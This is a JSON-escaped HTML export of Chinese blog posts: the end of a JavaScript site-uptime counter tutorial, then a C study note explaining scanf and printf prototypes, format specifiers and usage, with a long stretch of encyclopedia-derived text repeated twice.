class=\"name\"\u003espan\u003c/span\u003e \u003cspan class=\"attr\"\u003eid\u003c/span\u003e=\u003cspan class=\"string\"\u003e\u0026#34;time_year\u0026#34;\u003c/span\u003e\u0026gt;\u003c/span\u003e\u003cspan class=\"tag\"\u003e\u0026lt;/\u003cspan class=\"name\"\u003espan\u003c/span\u003e\u0026gt;\u003c/span\u003e年\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"tag\"\u003e\u0026lt;\u003cspan class=\"name\"\u003espan\u003c/span\u003e \u003cspan class=\"attr\"\u003eid\u003c/span\u003e=\u003cspan class=\"string\"\u003e\u0026#34;time_day\u0026#34;\u003c/span\u003e\u0026gt;\u003c/span\u003e\u003cspan class=\"tag\"\u003e\u0026lt;/\u003cspan class=\"name\"\u003espan\u003c/span\u003e\u0026gt;\u003c/span\u003e日\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"tag\"\u003e\u0026lt;\u003cspan class=\"name\"\u003espan\u003c/span\u003e \u003cspan class=\"attr\"\u003eid\u003c/span\u003e=\u003cspan class=\"string\"\u003e\u0026#34;time_hour\u0026#34;\u003c/span\u003e\u0026gt;\u003c/span\u003e\u003cspan class=\"tag\"\u003e\u0026lt;/\u003cspan class=\"name\"\u003espan\u003c/span\u003e\u0026gt;\u003c/span\u003e时\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"tag\"\u003e\u0026lt;\u003cspan class=\"name\"\u003espan\u003c/span\u003e \u003cspan class=\"attr\"\u003eid\u003c/span\u003e=\u003cspan class=\"string\"\u003e\u0026#34;time_minute\u0026#34;\u003c/span\u003e\u0026gt;\u003c/span\u003e\u003cspan class=\"tag\"\u003e\u0026lt;/\u003cspan class=\"name\"\u003espan\u003c/span\u003e\u0026gt;\u003c/span\u003e分\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"tag\"\u003e\u0026lt;\u003cspan class=\"name\"\u003espan\u003c/span\u003e \u003cspan class=\"attr\"\u003eid\u003c/span\u003e=\u003cspan class=\"string\"\u003e\u0026#34;time_second\u0026#34;\u003c/span\u003e\u0026gt;\u003c/span\u003e\u003cspan class=\"tag\"\u003e\u0026lt;/\u003cspan class=\"name\"\u003espan\u003c/span\u003e\u0026gt;\u003c/span\u003e秒\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"tag\"\u003e\u0026lt;/\u003cspan class=\"name\"\u003ep\u003c/span\u003e\u0026gt;\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"tag\"\u003e\u0026lt;/\u003cspan class=\"name\"\u003ediv\u003c/span\u003e\u0026gt;\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"tag\"\u003e\u0026lt;\u003cspan class=\"name\"\u003escript\u003c/span\u003e \u003cspan class=\"attr\"\u003esrc\u003c/span\u003e=\u003cspan class=\"string\"\u003e\u0026#34;run_time.js\u0026#34;\u003c/span\u003e\u0026gt;\u003c/span\u003e\u003cspan class=\"tag\"\u003e\u0026lt;/\u003cspan class=\"name\"\u003escript\u003c/span\u003e\u0026gt;\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"tag\"\u003e\u0026lt;\u003cspan class=\"name\"\u003escript\u003c/span\u003e\u0026gt;\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e site_run_time(2021,1,1,0,0,0);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"tag\"\u003e\u0026lt;/\u003cspan class=\"name\"\u003escript\u003c/span\u003e\u0026gt;\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"tag\"\u003e\u0026lt;/\u003cspan class=\"name\"\u003ebody\u003c/span\u003e\u0026gt;\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"tag\"\u003e\u0026lt;/\u003cspan class=\"name\"\u003ehtml\u003c/span\u003e\u0026gt;\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003ch3 id=\"解析\"\u003e\u003ca href=\"https://xeonds.github.io/2021/10/27/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E7%BC%96%E7%A8%8B%E8%AF%AD%E8%A8%80/JavaScript/%E7%94%A8JavaScript%E5%86%99%E4%B8%80%E4%B8%AA%E8%BF%90%E8%A1%8C%E6%97%B6%E9%97%B4%E7%BB%9F%E8%AE%A1/#%E8%A7%A3%E6%9E%90\" class=\"headerlink\" title=\"解析\"\u003e\u003c/a\u003e解析\u003c/h3\u003e\u003cp\u003e主要利用\u003ccode\u003ewindow.setInterval(func_name,time)\u003c/code\u003e来实现反复执行。时间计算利用UNIX时间戳完成。\u003c/p\u003e\u003cp\u003e这里说一下UNIX时间戳:它表示自1970.1.1 00:00:00开始,过了多少\u003cstrong\u003e毫秒\u003c/strong\u003e。\u003c/p\u003e\u003c/body\u003e\u003c/html\u003e","url":"https://xeonds.github.io/2021/10/27/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E7%BC%96%E7%A8%8B%E8%AF%AD%E8%A8%80/JavaScript/%E7%94%A8JavaScript%E5%86%99%E4%B8%80%E4%B8%AA%E8%BF%90%E8%A1%8C%E6%97%B6%E9%97%B4%E7%BB%9F%E8%AE%A1/"},{"title":"C语言学习笔记:scanf与printf","time":"2021-10-27T02:44:29Z","content":"\u003chtml\u003e\u003chead\u003e\u003c/head\u003e\u003cbody\u003e\u003ch2 id=\"概览\"\u003e\u003ca href=\"https://xeonds.github.io/2021/10/27/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E7%BC%96%E7%A8%8B%E8%AF%AD%E8%A8%80/C%C2%B7C++/C%E8%AF%AD%E8%A8%80%E5%AD%A6%E4%B9%A0%E7%AC%94%E8%AE%B0%EF%BC%9Ascanf%E4%B8%8Eprintf/#%E6%A6%82%E8%A7%88\" class=\"headerlink\" title=\"概览\"\u003e\u003c/a\u003e概览\u003c/h2\u003e\u003cp\u003e这两个函数的原型都在\u003ccode\u003estdio.h\u003c/code\u003e头文件中,分别如下:\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003eint\u003c/span\u003e \u003cspan class=\"title function_\"\u003escanf\u003c/span\u003e\u003cspan class=\"params\"\u003e(\u003cspan class=\"type\"\u003econst\u003c/span\u003e \u003cspan class=\"type\"\u003echar\u003c/span\u003e * \u003cspan class=\"keyword\"\u003erestrict\u003c/span\u003e format,...)\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"comment\"\u003e// C99 前\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003eint\u003c/span\u003e \u003cspan class=\"title function_\"\u003eprintf\u003c/span\u003e\u003cspan class=\"params\"\u003e( \u003cspan class=\"type\"\u003econst\u003c/span\u003e \u003cspan class=\"type\"\u003echar\u003c/span\u003e *format, ... )\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"comment\"\u003e// C99 起\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003eint\u003c/span\u003e \u003cspan class=\"title function_\"\u003eprintf\u003c/span\u003e\u003cspan class=\"params\"\u003e( \u003cspan class=\"type\"\u003econst\u003c/span\u003e \u003cspan class=\"type\"\u003echar\u003c/span\u003e *\u003cspan class=\"keyword\"\u003erestrict\u003c/span\u003e format, ... )\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e它们的参数列表中,第一个是格式控制字符串,包含了两种类型的对象:普通字符和转换说明;第二个及以后的参数是与格式化字符串一一对应的参数列表。\u003c/p\u003e\u003cp\u003e它们返回\u003ccode\u003eint\u003c/code\u003e类型的数据,表示成功处理的参数数量,下面分别详细说明。\u003c/p\u003e\u003ch2 id=\"scanf\"\u003e\u003ca href=\"https://xeonds.github.io/2021/10/27/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E7%BC%96%E7%A8%8B%E8%AF%AD%E8%A8%80/C%C2%B7C++/C%E8%AF%AD%E8%A8%80%E5%AD%A6%E4%B9%A0%E7%AC%94%E8%AE%B0%EF%BC%9Ascanf%E4%B8%8Eprintf/#scanf\" class=\"headerlink\" title=\"scanf\"\u003e\u003c/a\u003escanf\u003c/h2\u003e\u003cp\u003escanf函数返回成功读入的数据项数,读入数据时遇到了“文件结束”则返回EOF。\u003c/p\u003e\u003ch3 id=\"读取一整行\"\u003e\u003ca href=\"https://xeonds.github.io/2021/10/27/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E7%BC%96%E7%A8%8B%E8%AF%AD%E8%A8%80/C%C2%B7C++/C%E8%AF%AD%E8%A8%80%E5%AD%A6%E4%B9%A0%E7%AC%94%E8%AE%B0%EF%BC%9Ascanf%E4%B8%8Eprintf/#%E8%AF%BB%E5%8F%96%E4%B8%80%E6%95%B4%E8%A1%8C\" class=\"headerlink\" title=\"读取一整行\"\u003e\u003c/a\u003e读取一整行\u003c/h3\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e6\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e7\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e8\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"meta\"\u003e#\u003cspan class=\"keyword\"\u003einclude\u003c/span\u003e\u003cspan class=\"string\"\u003e\u0026lt;stdio.h\u0026gt;\u003c/span\u003e \u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003eint\u003c/span\u003e \u003cspan class=\"title function_\"\u003emain\u003c/span\u003e\u003cspan class=\"params\"\u003e()\u003c/span\u003e \u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e{ \u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e      \u003cspan class=\"type\"\u003echar\u003c/span\u003e str[\u003cspan class=\"number\"\u003e1024\u003c/span\u003e]; \u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e      \u003cspan class=\"built_in\"\u003escanf\u003c/span\u003e(\u003cspan class=\"string\"\u003e\u0026#34;%[^\\n]\u0026#34;\u003c/span\u003e, \u0026amp;str); \u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e      ... \u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e      \u003cspan class=\"keyword\"\u003ereturn\u003c/span\u003e \u003cspan class=\"number\"\u003e0\u003c/span\u003e; \u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e}\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e格式指令说明\u003cbr/\u003eformat指向的字符串包含的格式指令由以下字符序列组成[4] :\u003cbr/\u003e*\u003cbr/\u003e表示读入的数据将被舍弃。带有\u003cem\u003e的格式指令不对应可变参数列表中的任何数据。\u003cbr/\u003e域宽\u003cbr/\u003e以一个非零的十进制整数形式出现。表示该格式指令最多读入的字符数。\u003cbr/\u003e格式说明符\u003cbr/\u003ec 读入域宽指定的数目个字符组成的字符序列(后面不会加上空字节),如果省略宽度则读入单字符。如%c或%1c读入单字符,%2c读入两个字符(后面不会加上空字节),以此类推。\u003cbr/\u003es读入一个的字符序列,后面会加上空字节,遇到空白字符(\\t \\r \\n 空格等)完成读取。\u003cbr/\u003ed 读入可选有符号(可选有符号表示输入时可以带符号也可以不带符号,不带符号则视为非负)十进制整数。输入格式应该像strtol函数的base实参为10调用时识别的字符序列一样。\u003cbr/\u003eu 读入无符号符号十进制整数。输入格式应该像strtol函数的base实参为10调用时识别的字符序列一样。\u003cbr/\u003ei 读入可选有符号整数。输入格式应该像strtol函数的base实参为0调用时识别的字符序列一样。\u003cbr/\u003ea,e,f,g,A,E,F,G 读入可选有符号浮点数,输入格式应该像strtod函数识别的字符序列一样。\u003cbr/\u003eo 读入可选有符号八进制整数。输入格式应该像strtoul函数的base实参为8调用时识别的字符序列一样。\u003cbr/\u003ex,X读入可选有符号十六进制整数。输入格式应该像strtoul函数的base实参为16调用时识别的字符序列一样。\u003cbr/\u003ep 读入一个指针值。读入的字符序列应该与fprintf的%p产生的字符序列形式相同。\u003cbr/\u003en 不读入任何字符,而是把到该位置已读入的字符数存储到与之对应的int\u003c/em\u003e指向的位置。本转换说明符如果带有*或者带有域宽信息(如:%*n或%3n等),则后果是未定义的。\u003cbr/\u003e扫描字符集合\u003cbr/\u003e% 读入% 符号(百分号)\u003cbr/\u003e无效的转换说明符将引起未定义的行为。[5]\u003cbr/\u003e长度修饰符\u003cbr/\u003ehh与d, i, o, u, x, X, or n配合使用,表示对应一个signed char或unsigned char数据。\u003cbr/\u003eh与d, i, o, u, x, X, or n配合使用,表示对应一个short int或unsigned short int数据。\u003cbr/\u003el 与d, i, o, u, x, X, or n配合使用,表示对应一个long int或unsigned long int数据;与a, A, e, E, f, F, g, or G配合使用表示对应一个double数据;与c,s,[配合使用表示对应wchar_t数据。\u003cbr/\u003ell与d, i, o, u, x, X, or n配合使用,表示对应一个long long int或unsigned long long int数据。\u003cbr/\u003ej与d, i, o, u, x, X, or n配合使用,表示对应一个intmax_t或uintmax_t数据。\u003cbr/\u003ez与d, i, o, u, x, X, or n配合使用,表示对应一个size_t数据(或与size_t对应的有符号整型数据)。\u003cbr/\u003et与d, i, o, u, x, X, or n配合使用,表示对应一个ptrdiff_t数据(或与ptrdiff_t对应的无符号整型数据)。\u003cbr/\u003eL 与a, A, e, E, f, F, g, or G配合使用,表示对应一个long double数据。\u003cbr/\u003e如果长度修饰符与格式说明符不匹配则引起未定义的行为。\u003c/p\u003e\u003cp\u003e(1)%s 表示读字符串,而 %d 表示读整数。格式串的处理顺序为从左到右,格式说明符逐一与变元表中的变元匹配。为了读取长整数,可以将 L / l 放在格式说明符的前面;为了读取短整数,可以将 h 放在格式说明符的前面。这些修饰符可以与 d、i、o、u 和 x 格式代码一起使用。\u003cbr/\u003e(2)默认情况下,a、f、e 和 g 告诉 scanf() 为 float 分配数据。 如果将 L / l放在这些修饰符的前面,则 scanf() 为 double 分配数据。使用 L 就是告诉 scanf(),接收数据的变量是 long double 型变量。\u003cbr/\u003e(3)如果使用的现代编译器程序支持 1995 年增加的宽字符特性, 则可以与 c 格式代码一起,用 l 修饰符说明类型 wchar_t 的宽字符指针;也可以与 s 格式代码一起,用 l 修饰符说明宽字符串的指针。l 修饰符也可以用于修饰扫描集,以说明宽字符。\u003cbr/\u003e(4)控制串中的空白符使 scanf() 在输入流中跳过一个或多个空白行。空白符可以是空格(space)、制表符(tab)和新行符(newline)。 本质上,控制串中的空白符使 scanf() 在输入流中读,但不保存结果,直到发现非空白字符为止。\u003cbr/\u003e(5)非空白符使 scanf() 在流中读一个匹配的字符并忽略之。例如,”%d,%d” 使 scanf() 先读入一个整数,读入中放弃逗号,然后读另一个整数。如未发现匹配,scanf() 返回。\u003cbr/\u003e(6)scanf() 中用于保存读入值的变元必须都是变量指针,即相应变量的地址。\u003cbr/\u003e(7)在输入流中,数据项必须由空格、制表符和新行符分割。逗号和分号等不是分隔符,比如以下代码:\u003cbr/\u003escanf(“%d%d”,\u0026amp;r,\u0026amp;c);\u003cbr/\u003e将接受输入 10 20,但遇到 10,20 则失败。\u003cbr/\u003e(8)百分号(%)与格式符之间的星号(*)表示读指定类型的数据但不保存。因此,\u003cbr/\u003escanf(“%d%*c%d”,\u0026amp;x,\u0026amp;y);\u003cbr/\u003e对 10/20 的读入操作中,10 放入变量 x,20 放入 y。\u003cbr/\u003e(9)格式命令可以说明最大域宽。 在百分号(%)与格式码之间的整数用于限制从对应域读入的最大字符数。例如,希望向 address 读入不多于 20 个字符时,可以书写成如下形式:\u003cbr/\u003escanf(“%20s”,address);\u003cbr/\u003e如果输入流的内容多于 20 个字符,则下次 scanf() 从此次停止处开始读入。 若达到最大域宽前已遇到空白符,则对该域的读立即停止;此时,scanf() 跳到下一个域。\u003cbr/\u003e(10)虽然空格、制表符和新行符都用做域分割符号,但读单字符操作中却按一般字符处理。例如,对输入流 “x y” 调用:\u003cbr/\u003escanf(“%c%c%c”,\u0026amp;a,\u0026amp;b,\u0026amp;c);\u003cbr/\u003e返回后,x 在变量 a 中,空格在变量 b 中,y 在变量 c 中。\u003cbr/\u003e注意,控制串中的其它字符,包括空格、制表符和新行符,都用于从输入流中匹配并放弃字符,被匹配的字符都放弃。例如,给定输入流 “10t20”,调用:\u003cbr/\u003escanf(“%dt%d”,\u0026amp;x,\u0026amp;y);\u003cbr/\u003e将把 10 和 20 分别放到 x 和 y 中,t 被放弃,因为 t 在控制串中。\u003cbr/\u003e(11)ANSI C 标准向 scanf() 增加了一种新特性,称为扫描集(scanset)。 扫描集定义一个字符集合,可由 scanf() 读入其中允许的字符并赋给对应字符数组。 扫描集合由一对方括号中的一串字符定义,左方括号前必须缀以百分号。 例如,以下的扫描集使 scanf() 读入字符 A、B 和 C:\u003cbr/\u003e%[ABC]\u003cbr/\u003e使用扫描集时,scanf() 连续吃进集合中的字符并放入对应的字符数组,直到发现不在集合中的字符为止(即扫描集仅读匹配的字符)。返回时,数组中放置以 null 结尾、由读入字符组成的字符串。\u003c/p\u003e\u003cp\u003e用字符 ^ 可以说明补集。把 ^ 字符放为扫描集的第一字符时,构成其它字符组成的命令的补集合,指示 scanf() 只接受未说明的其它字符。\u003cbr/\u003e对于许多实现来说,用连字符可以说明一个范围(ISO C99标准没有规定)。例如,以下扫描集使 scanf() 接受字母 A 到 Z:\u003cbr/\u003e%[A-Z]\u003cbr/\u003e重要的是要注意扫描集是区分大小写的。因此,希望扫描大、小写字符时,应该分别说明大、小写字母。\u003cbr/\u003e(12) scanf() 返回等于成功赋值的域数的值,但由于星号修饰符而读入未赋值的域不计算在内。遇到文件结束则返回EOF;若出错则返回0。\u003c/p\u003e\u003cp\u003e一分钟了解scanf\u003cbr/\u003e79.8万 41”\u003cbr/\u003escanf\u003cbr/\u003e计算机语言函数\u003cbr/\u003e本词条是多义词,共2个义项\u003cbr/\u003e展开\u003cbr/\u003escanf()是C语言中的一个输入函数。与printf函数一样,都被声明在头文件stdio.h里,因此在使用scanf函数时要加上#include \u0026lt;stdio.h\u0026gt;。(在有一些实现中,printf函数与scanf函数在使用时可以不使用预编译命令#include 。)它是格式输入函数,即按用户指定的格式从键盘上把数据输入到指定的变量之中。\u003c/p\u003e\u003cp\u003e中文名\u003cbr/\u003e格式输入\u003cbr/\u003e外文名\u003cbr/\u003eScan Format\u003cbr/\u003e外语缩写\u003cbr/\u003escanf\u003cbr/\u003e应用学科\u003cbr/\u003e计算机科学\u003cbr/\u003e软件语言\u003cbr/\u003eC/C++\u003cbr/\u003e快速\u003cbr/\u003e导航\u003cbr/\u003e返回值\u003c/p\u003e\u003cp\u003e格式指令说明\u003c/p\u003e\u003cp\u003e空白字符和非空白字符\u003c/p\u003e\u003cp\u003e注意问题\u003c/p\u003e\u003cp\u003e发展\u003cbr/\u003e函数原型\u003cbr/\u003eint scanf(const char *restrict format,…);\u003cbr/\u003e函数 scanf() 是从标准输入流stdio[1] (标准输入设备,一般指向键盘)中读内容的通用子程序,可以说明的格式读入多个字符,并保存在对应地址的变量中。[2]\u003cbr/\u003e函数的第一个参数是格式字符串,它指定了输入的格式,并按照格式说明符解析输入对应位置的信息并存储于可变参数列表中对应的指针所指位置。每一个指针要求非空,并且与字符串中的格式符一一顺次对应。\u003cbr/\u003e返回值\u003cbr/\u003escanf函数返回成功读入的数据项数,读入数据时遇到了“文件结束”则返回EOF。\u003cbr/\u003e如:\u003cbr/\u003escanf(“%d %d”,\u0026amp;a,\u0026amp;b);\u003cbr/\u003e函数返回值为int型。如果a和b都被成功读入,那么scanf的返回值就是2;\u003cbr/\u003e如果只有a被成功读入,返回值为1;\u003cbr/\u003e如果a读取失败,返回值为0;\u003cbr/\u003e如果遇到错误或遇到end of file,返回值为EOF。end of file为Ctrl+z 或者Ctrl+d。\u003cbr/\u003e例:使用scanf函数输入数据。\u003c/p\u003e\u003ch1 id=\"include-lt-stdio-h-gt\"\u003e\u003ca href=\"https://xeonds.github.io/2021/10/27/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E7%BC%96%E7%A8%8B%E8%AF%AD%E8%A8%80/C%C2%B7C++/C%E8%AF%AD%E8%A8%80%E5%AD%A6%E4%B9%A0%E7%AC%94%E8%AE%B0%EF%BC%9Ascanf%E4%B8%8Eprintf/#include-lt-stdio-h-gt\" class=\"headerlink\" title=\"include \u0026lt;stdio.h\u0026gt;\"\u003e\u003c/a\u003einclude \u0026lt;stdio.h\u0026gt;\u003c/h1\u003e\u003cp\u003eint main(void)\u003cbr/\u003e{\u003cbr/\u003e int a,b,c;\u003cbr/\u003e printf(“Give me the value of a,b,c seperated with whitespaces:\\n”);\u003cbr/\u003e scanf(“%d%d%d”,\u0026amp;a,\u0026amp;b,\u0026amp;c);\u003cbr/\u003e printf(“a=%d,b=%d,c=%d\\n”,a,b,c);\u003cbr/\u003e return 0;\u003cbr/\u003e}\u003cbr/\u003e\u0026amp;a,\u0026amp;b,\u0026amp;c中的\u0026amp;是寻址操作符,\u0026amp;a表示对象a在内存中的地址[3] ,是一个右值。变量a,b,c的地址是在编译阶段分配的(存储顺序由编译器决定)。\u003cbr/\u003e这里注意:如果scanf中%d是连着写的如“%d%d%d”,在输入数据时,数据之间不可以用逗号分隔,只能用空白字符(空格或tab键或者回车键)分隔——“2 (空格)3(tab) 4” 或 “2(tab)3(回车)4”等。若是“%d,%d,%d”,则在输入数据时需要加“,”,如“2,3,4”。\u003cbr/\u003e格式指令说明\u003cbr/\u003eformat指向的字符串包含的格式指令由以下字符序列组成[4] :\u003cbr/\u003e*\u003cbr/\u003e表示读入的数据将被舍弃。带有\u003cem\u003e的格式指令不对应可变参数列表中的任何数据。\u003cbr/\u003e域宽\u003cbr/\u003e以一个非零的十进制整数形式出现。表示该格式指令最多读入的字符数。\u003cbr/\u003e格式说明符\u003cbr/\u003ec 读入域宽指定的数目个字符组成的字符序列(后面不会加上空字节),如果省略宽度则读入单字符。如%c或%1c读入单字符,%2c读入两个字符(后面不会加上空字节),以此类推。\u003cbr/\u003es读入一个的字符序列,后面会加上空字节,遇到空白字符(\\t \\r \\n 空格等)完成读取。\u003cbr/\u003ed 读入可选有符号(可选有符号表示输入时可以带符号也可以不带符号,不带符号则视为非负)十进制整数。输入格式应该像strtol函数的base实参为10调用时识别的字符序列一样。\u003cbr/\u003eu 读入无符号符号十进制整数。输入格式应该像strtol函数的base实参为10调用时识别的字符序列一样。\u003cbr/\u003ei 读入可选有符号整数。输入格式应该像strtol函数的base实参为0调用时识别的字符序列一样。\u003cbr/\u003ea,e,f,g,A,E,F,G 读入可选有符号浮点数,输入格式应该像strtod函数识别的字符序列一样。\u003cbr/\u003eo 读入可选有符号八进制整数。输入格式应该像strtoul函数的base实参为8调用时识别的字符序列一样。\u003cbr/\u003ex,X读入可选有符号十六进制整数。输入格式应该像strtoul函数的base实参为16调用时识别的字符序列一样。\u003cbr/\u003ep 读入一个指针值。读入的字符序列应该与fprintf的%p产生的字符序列形式相同。\u003cbr/\u003en 不读入任何字符,而是把到该位置已读入的字符数存储到与之对应的int\u003c/em\u003e指向的位置。本转换说明符如果带有*或者带有域宽信息(如:%\u003cem\u003en或%3n等),则后果是未定义的。\u003cbr/\u003e扫描字符集合\u003cbr/\u003e% 读入% 符号(百分号)\u003cbr/\u003e无效的转换说明符将引起未定义的行为。[5]\u003cbr/\u003e长度修饰符\u003cbr/\u003ehh与d, i, o, u, x, X, or n配合使用,表示对应一个signed char或unsigned char数据。\u003cbr/\u003eh与d, i, o, u, x, X, or n配合使用,表示对应一个short int或unsigned short int数据。\u003cbr/\u003el 与d, i, o, u, x, X, or n配合使用,表示对应一个long int或unsigned long int数据;与a, A, e, E, f, F, g, or G配合使用表示对应一个double数据;与c,s,[配合使用表示对应wchar_t数据。\u003cbr/\u003ell与d, i, o, u, x, X, or n配合使用,表示对应一个long long int或unsigned long long int数据。\u003cbr/\u003ej与d, i, o, u, x, X, or n配合使用,表示对应一个intmax_t或uintmax_t数据。\u003cbr/\u003ez与d, i, o, u, x, X, or n配合使用,表示对应一个size_t数据(或与size_t对应的有符号整型数据)。\u003cbr/\u003et与d, i, o, u, x, X, or n配合使用,表示对应一个ptrdiff_t数据(或与ptrdiff_t对应的无符号整型数据)。\u003cbr/\u003eL 与a, A, e, E, f, F, g, or G配合使用,表示对应一个long double数据。\u003cbr/\u003e如果长度修饰符与格式说明符不匹配则引起未定义的行为。[6]\u003cbr/\u003e空白字符和非空白字符\u003cbr/\u003e空白字符\u003cbr/\u003e空白字符会使scanf函数在读操作中略去输入中的一个或多个空白字符。\u003cbr/\u003e非空白字符\u003cbr/\u003e一个非空白字符会使scanf()函数在读入时剔除掉与这个非空白字符相同的字符。\u003cbr/\u003e说明:\u003cbr/\u003e(1)%s 表示读字符串,而 %d 表示读整数。格式串的处理顺序为从左到右,格式说明符逐一与变元表中的变元匹配。为了读取长整数,可以将 L / l 放在格式说明符的前面;为了读取短整数,可以将 h 放在格式说明符的前面。这些修饰符可以与 d、i、o、u 和 x 格式代码一起使用。\u003cbr/\u003e(2)默认情况下,a、f、e 和 g 告诉 scanf() 为 float 分配数据。 如果将 L / l放在这些修饰符的前面,则 scanf() 为 double 分配数据。使用 L 就是告诉 scanf(),接收数据的变量是 long double 型变量。\u003cbr/\u003e(3)如果使用的现代编译器程序支持 1995 年增加的宽字符特性, 则可以与 c 格式代码一起,用 l 修饰符说明类型 wchar_t 的宽字符指针;也可以与 s 格式代码一起,用 l 修饰符说明宽字符串的指针。l 修饰符也可以用于修饰扫描集,以说明宽字符。\u003cbr/\u003e(4)控制串中的空白符使 scanf() 在输入流中跳过一个或多个空白行。空白符可以是空格(space)、制表符(tab)和新行符(newline)。 本质上,控制串中的空白符使 scanf() 在输入流中读,但不保存结果,直到发现非空白字符为止。\u003cbr/\u003e(5)非空白符使 scanf() 在流中读一个匹配的字符并忽略之。例如,”%d,%d” 使 scanf() 先读入一个整数,读入中放弃逗号,然后读另一个整数。如未发现匹配,scanf() 返回。\u003cbr/\u003e(6)scanf() 中用于保存读入值的变元必须都是变量指针,即相应变量的地址。\u003cbr/\u003e(7)在输入流中,数据项必须由空格、制表符和新行符分割。逗号和分号等不是分隔符,比如以下代码:\u003cbr/\u003escanf(“%d%d”,\u0026amp;r,\u0026amp;c);\u003cbr/\u003e将接受输入 10 20,但遇到 10,20 则失败。\u003cbr/\u003e(8)百分号(%)与格式符之间的星号(\u003c/em\u003e)表示读指定类型的数据但不保存。因此,\u003cbr/\u003escanf(“%d%*c%d”,\u0026amp;x,\u0026amp;y);\u003cbr/\u003e对 10/20 的读入操作中,10 放入变量 x,20 放入 y。\u003cbr/\u003e(9)格式命令可以说明最大域宽。 在百分号(%)与格式码之间的整数用于限制从对应域读入的最大字符数。例如,希望向 address 读入不多于 20 